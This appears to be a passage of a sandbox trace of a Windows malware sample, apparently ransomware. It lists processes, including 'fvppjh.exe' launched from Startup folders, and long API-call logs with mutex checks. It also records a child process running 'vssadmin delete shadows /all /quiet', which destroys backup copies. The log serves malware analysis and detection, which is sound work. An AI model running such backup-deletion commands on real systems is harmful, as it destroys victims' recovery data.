	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e458" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 61
	os_tid = 0xaa8


Thread:
	id = 62
	os_tid = 0xa8c


Thread:
	id = 63
	os_tid = 0xa58


Thread:
	id = 64
	os_tid = 0xa4c


Thread:
	id = 65
	os_tid = 0xa48


Thread:
	id = 66
	os_tid = 0x9a4


Thread:
	id = 67
	os_tid = 0x698


Thread:
	id = 68
	os_tid = 0x690


Thread:
	id = 69
	os_tid = 0x5c8


Thread:
	id = 70
	os_tid = 0x5c4


Thread:
	id = 71
	os_tid = 0x5c0


Thread:
	id = 72
	os_tid = 0x540


Thread:
	id = 73
	os_tid = 0x53c


Process:
	id = "10"
	image_name = "fvppjh.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"
	page_root = "0x62985000"
	os_pid = "0xe70"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x9bc"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 75
	os_tid = 0xe74

	[0161.520] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77950000
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetProcAddress") returned 0x779651b0
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetModuleHandleW") returned 0x779650d0
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="FindNextFileW") returned 0x779bee40
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="FindClose") returned 0x779bed70
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="MoveFileW") returned 0x7799e500
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetFileSizeEx") returned 0x779bef40
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetModuleFileNameW") returned 0x77965090
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetFileAttributesW") returned 0x779bef10
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="ExitProcess") returned 0x77963cb0
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetCommandLineW") returned 0x77964cc0
	[0161.520] GetProcAddress (hModule=0x77950000, lpProcName="GetComputerNameW") returned 0x779932c0
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="GetComputerNameA") returned 0x77993780
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="CreateMutexW") returned 0x779beb70
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="lstrlenW") returned 0x77966c70
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="lstrlenA") returned 0x77966c50
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="GetCurrentProcess") returned 0x779bea10
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="WaitForSingleObject") returned 0x779beca0
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="GetLogicalDrives") returned 0x77960d20
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="GetTickCount") returned 0x779bdd50
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="DeleteFileW") returned 0x779bed40
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="WideCharToMultiByte") returned 0x77966b10
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x779bebb0
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="Sleep") returned 0x77966760
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="LeaveCriticalSection") returned 0x77c2b250
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="ReadFile") returned 0x779bf090
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="CreateFileW") returned 0x779bed10
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="OpenMutexW") returned 0x779bebf0
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="EnterCriticalSection") returned 0x77c2b2d0
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="WaitForMultipleObjects") returned 0x779bec80
	[0161.521] GetProcAddress (hModule=0x77950000, lpProcName="lstrcmpiW") returned 0x77966bf0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="lstrcmpiA") returned 0x77966bd0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="DeleteCriticalSection") returned 0x77c0fb90
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="ReleaseMutex") returned 0x779bec20
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="CloseHandle") returned 0x779beab0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="GetVersion") returned 0x779656c0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="CreateThread") returned 0x779646b0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="ExpandEnvironmentStringsW") returned 0x77964a40
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="QueryPerformanceCounter") returned 0x77965da0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="QueryPerformanceFrequency") returned 0x77965dc0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="GetCurrentProcessId") returned 0x779bea20
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="SetFileAttributesW") returned 0x779bf100
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="GetVolumeInformationW") returned 0x779bf020
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="WriteFile") returned 0x779bf180
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="SetFilePointerEx") returned 0x779bf130
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="SetEndOfFile") returned 0x779bf0e0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="FindFirstFileW") returned 0x779bedf0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="GetProcessHeap") returned 0x779651f0
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="HeapReAlloc") returned 0x77c1f630
	[0161.522] GetProcAddress (hModule=0x77950000, lpProcName="HeapAlloc") returned 0x77c22dc0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="HeapFree") returned 0x779657f0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="CreatePipe") returned 0x77964590
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="SetHandleInformation") returned 0x779beae0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="CreateProcessW") returned 0x77964610
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="CompareStringW") returned 0x77964430
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="CompareStringA") returned 0x77964410
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="OpenProcess") returned 0x77965cc0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="TerminateProcess") returned 0x779667e0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="GetSystemTime") returned 0x779654e0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="SystemTimeToFileTime") returned 0x779667a0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="GetLastError") returned 0x77965010
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="CreateToolhelp32Snapshot") returned 0x7799edc0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="Process32NextW") returned 0x7799f8f0
	[0161.523] GetProcAddress (hModule=0x77950000, lpProcName="Process32FirstW") returned 0x7799f750
	[0161.523] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77770000
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="RegOpenKeyExW") returned 0x7778e580
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="RegQueryValueExW") returned 0x7778e5a0
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="RegSetValueExW") returned 0x7778f530
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="RegCloseKey") returned 0x7778ed60
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="OpenProcessToken") returned 0x7778efb0
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="GetTokenInformation") returned 0x7778ee90
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="OpenSCManagerW") returned 0x77790540
	[0161.800] GetProcAddress (hModule=0x77770000, lpProcName="OpenServiceW") returned 0x7778fa20
	[0161.801] GetProcAddress (hModule=0x77770000, lpProcName="CloseServiceHandle") returned 0x7778fc00
	[0161.801] GetProcAddress (hModule=0x77770000, lpProcName="ControlService") returned 0x777a26d0
	[0161.801] GetProcAddress (hModule=0x77770000, lpProcName="QueryServiceStatus") returned 0x77792380
	[0161.801] GetProcAddress (hModule=0x77770000, lpProcName="EnumDependentServicesW") returned 0x777a2f70
	[0161.801] GetProcAddress (hModule=0x77770000, lpProcName="EnumServicesStatusExW") returned 0x7778fc80
	[0161.801] LoadLibraryA (lpLibFileName="user32.dll") returned 0x777f0000
	[0161.885] GetProcAddress (hModule=0x777f0000, lpProcName="SystemParametersInfoW") returned 0x7781f210
	[0161.885] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76410000
	[0162.160] GetProcAddress (hModule=0x76410000, lpProcName="ShellExecuteExW") returned 0x76574730
	[0162.160] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77be0000
	[0162.160] GetProcAddress (hModule=0x77be0000, lpProcName="NtQuerySystemInformation") returned 0x77c52070
	[0162.160] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x745e0000
	[0162.163] GetProcAddress (hModule=0x745e0000, lpProcName="WNetCloseEnum") returned 0x745e2640
	[0162.163] GetProcAddress (hModule=0x745e0000, lpProcName="WNetOpenEnumW") returned 0x745e2790
	[0162.163] GetProcAddress (hModule=0x745e0000, lpProcName="WNetEnumResourceW") returned 0x745e2410
	[0162.163] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75150000
	[0162.165] GetProcAddress (hModule=0x75150000, lpProcName="WSAStartup") returned 0x75155b40
	[0162.165] GetProcAddress (hModule=0x75150000, lpProcName="socket") returned 0x75164510
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="send") returned 0x75155030
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="recv") returned 0x75160c50
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="connect") returned 0x75155410
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="closesocket") returned 0x75160910
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="gethostbyname") returned 0x75186cb0
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="inet_addr") returned 0x75169160
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="ntohl") returned 0x751549d0
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="htonl") returned 0x751549d0
	[0162.166] GetProcAddress (hModule=0x75150000, lpProcName="htons") returned 0x75168ff0
	[0162.166] GetProcessHeap () returned 0x6a0000
	[0162.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6aafa8
	[0162.166] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6867664705) returned 1
	[0162.167] GetTickCount () returned 0x113b4b0
	[0162.167] GetCurrentProcessId () returned 0xe70
	[0162.168] GetTickCount () returned 0x113b4b0
	[0162.168] GetTickCount () returned 0x113b4b0
	[0162.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6aafd0
	[0162.168] GetVersion () returned 0x23f00206
	[0162.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7) returned 0x6b6f90
	[0162.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b7fc8
	[0162.168] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7fc8, Size=0x20) returned 0x6aaff8
	[0162.169] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6aaff8, Size=0x40) returned 0x6b7628
	[0162.169] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6bd6b0
	[0162.169] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7A") returned 0x1ec
	[0162.169] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6f90 | out: hHeap=0x6a0000) returned 1
	[0162.169] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0162.169] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7628 | out: hHeap=0x6a0000) returned 1
	[0162.169] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7) returned 0x6b6ee0
	[0162.169] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b80d0
	[0162.169] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b80d0, Size=0x20) returned 0x6aaff8
	[0162.169] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6aaff8, Size=0x40) returned 0x6b7a60
	[0162.169] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6cd6b8
	[0162.169] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7U") returned 0x1f0
	[0162.170] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6ee0 | out: hHeap=0x6a0000) returned 1
	[0162.170] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0162.170] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7a60 | out: hHeap=0x6a0000) returned 1
	[0162.170] GetVersion () returned 0x23f00206
	[0162.170] GetCurrentProcess () returned 0xffffffff
	[0162.170] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0162.170] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0162.170] CloseHandle (hObject=0x1f4) returned 1
	[0162.170] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0162.170] ExitProcess (uExitCode=0x0) 

Thread:
	id = 76
	os_tid = 0xe80


Process:
	id = "11"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x55bd9000"
	os_pid = "0xea4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 77
	os_tid = 0xea8


Thread:
	id = 78
	os_tid = 0xeb8


Thread:
	id = 79
	os_tid = 0xf14


Thread:
	id = 80
	os_tid = 0xf18


Thread:
	id = 81
	os_tid = 0xf1c


Process:
	id = "12"
	image_name = "fvppjh.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"
	page_root = "0x6a6b0000"
	os_pid = "0xf88"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xdc0"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe\" -a"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 82
	os_tid = 0xf8c

	[0183.615] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77950000
	[0183.615] GetProcAddress (hModule=0x77950000, lpProcName="GetProcAddress") returned 0x779651b0
	[0183.615] GetProcAddress (hModule=0x77950000, lpProcName="GetModuleHandleW") returned 0x779650d0
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="FindNextFileW") returned 0x779bee40
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="FindClose") returned 0x779bed70
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="MoveFileW") returned 0x7799e500
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetFileSizeEx") returned 0x779bef40
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetModuleFileNameW") returned 0x77965090
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetFileAttributesW") returned 0x779bef10
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="ExitProcess") returned 0x77963cb0
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetCommandLineW") returned 0x77964cc0
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetComputerNameW") returned 0x779932c0
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetComputerNameA") returned 0x77993780
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="CreateMutexW") returned 0x779beb70
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="lstrlenW") returned 0x77966c70
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="lstrlenA") returned 0x77966c50
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetCurrentProcess") returned 0x779bea10
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="WaitForSingleObject") returned 0x779beca0
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetLogicalDrives") returned 0x77960d20
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="GetTickCount") returned 0x779bdd50
	[0183.616] GetProcAddress (hModule=0x77950000, lpProcName="DeleteFileW") returned 0x779bed40
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="WideCharToMultiByte") returned 0x77966b10
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x779bebb0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="Sleep") returned 0x77966760
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="LeaveCriticalSection") returned 0x77c2b250
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="ReadFile") returned 0x779bf090
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="CreateFileW") returned 0x779bed10
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="OpenMutexW") returned 0x779bebf0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="EnterCriticalSection") returned 0x77c2b2d0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="WaitForMultipleObjects") returned 0x779bec80
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="lstrcmpiW") returned 0x77966bf0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="lstrcmpiA") returned 0x77966bd0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="DeleteCriticalSection") returned 0x77c0fb90
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="ReleaseMutex") returned 0x779bec20
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="CloseHandle") returned 0x779beab0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="GetVersion") returned 0x779656c0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="CreateThread") returned 0x779646b0
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="ExpandEnvironmentStringsW") returned 0x77964a40
	[0183.617] GetProcAddress (hModule=0x77950000, lpProcName="QueryPerformanceCounter") returned 0x77965da0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="QueryPerformanceFrequency") returned 0x77965dc0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="GetCurrentProcessId") returned 0x779bea20
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="SetFileAttributesW") returned 0x779bf100
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="GetVolumeInformationW") returned 0x779bf020
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="WriteFile") returned 0x779bf180
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="SetFilePointerEx") returned 0x779bf130
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="SetEndOfFile") returned 0x779bf0e0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="FindFirstFileW") returned 0x779bedf0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="GetProcessHeap") returned 0x779651f0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="HeapReAlloc") returned 0x77c1f630
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="HeapAlloc") returned 0x77c22dc0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="HeapFree") returned 0x779657f0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="CreatePipe") returned 0x77964590
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="SetHandleInformation") returned 0x779beae0
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="CreateProcessW") returned 0x77964610
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="CompareStringW") returned 0x77964430
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="CompareStringA") returned 0x77964410
	[0183.618] GetProcAddress (hModule=0x77950000, lpProcName="OpenProcess") returned 0x77965cc0
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="TerminateProcess") returned 0x779667e0
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="GetSystemTime") returned 0x779654e0
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="SystemTimeToFileTime") returned 0x779667a0
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="GetLastError") returned 0x77965010
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="CreateToolhelp32Snapshot") returned 0x7799edc0
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="Process32NextW") returned 0x7799f8f0
	[0183.619] GetProcAddress (hModule=0x77950000, lpProcName="Process32FirstW") returned 0x7799f750
	[0183.619] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77770000
	[0183.745] GetProcAddress (hModule=0x77770000, lpProcName="RegOpenKeyExW") returned 0x7778e580
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="RegQueryValueExW") returned 0x7778e5a0
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="RegSetValueExW") returned 0x7778f530
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="RegCloseKey") returned 0x7778ed60
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="OpenProcessToken") returned 0x7778efb0
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="GetTokenInformation") returned 0x7778ee90
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="OpenSCManagerW") returned 0x77790540
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="OpenServiceW") returned 0x7778fa20
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="CloseServiceHandle") returned 0x7778fc00
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="ControlService") returned 0x777a26d0
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="QueryServiceStatus") returned 0x77792380
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="EnumDependentServicesW") returned 0x777a2f70
	[0183.746] GetProcAddress (hModule=0x77770000, lpProcName="EnumServicesStatusExW") returned 0x7778fc80
	[0183.746] LoadLibraryA (lpLibFileName="user32.dll") returned 0x777f0000
	[0183.943] GetProcAddress (hModule=0x777f0000, lpProcName="SystemParametersInfoW") returned 0x7781f210
	[0183.943] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76410000
	[0183.983] GetProcAddress (hModule=0x76410000, lpProcName="ShellExecuteExW") returned 0x76574730
	[0183.983] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77be0000
	[0183.983] GetProcAddress (hModule=0x77be0000, lpProcName="NtQuerySystemInformation") returned 0x77c52070
	[0183.983] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x745e0000
	[0184.092] GetProcAddress (hModule=0x745e0000, lpProcName="WNetCloseEnum") returned 0x745e2640
	[0184.093] GetProcAddress (hModule=0x745e0000, lpProcName="WNetOpenEnumW") returned 0x745e2790
	[0184.093] GetProcAddress (hModule=0x745e0000, lpProcName="WNetEnumResourceW") returned 0x745e2410
	[0184.093] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75150000
	[0184.100] GetProcAddress (hModule=0x75150000, lpProcName="WSAStartup") returned 0x75155b40
	[0184.100] GetProcAddress (hModule=0x75150000, lpProcName="socket") returned 0x75164510
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="send") returned 0x75155030
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="recv") returned 0x75160c50
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="connect") returned 0x75155410
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="closesocket") returned 0x75160910
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="gethostbyname") returned 0x75186cb0
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="inet_addr") returned 0x75169160
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="ntohl") returned 0x751549d0
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="htonl") returned 0x751549d0
	[0184.101] GetProcAddress (hModule=0x75150000, lpProcName="htons") returned 0x75168ff0
	[0184.101] GetProcessHeap () returned 0x5d0000
	[0184.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x5dae48
	[0184.102] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=9061173553) returned 1
	[0184.102] GetTickCount () returned 0x1140a52
	[0184.102] GetCurrentProcessId () returned 0xf88
	[0184.103] GetTickCount () returned 0x1140a52
	[0184.103] GetTickCount () returned 0x1140a52
	[0184.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x5dae70
	[0184.103] GetVersion () returned 0x23f00206
	[0184.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7) returned 0x5e6fc8
	[0184.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e8128
	[0184.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8128, Size=0x20) returned 0x5daf10
	[0184.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5daf10, Size=0x40) returned 0x5e74a0
	[0184.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x5ee870
	[0184.104] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7A") returned 0x1ec
	[0184.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6fc8 | out: hHeap=0x5d0000) returned 1
	[0184.104] lstrlenW (lpString="Global\\syncronize_") returned 18
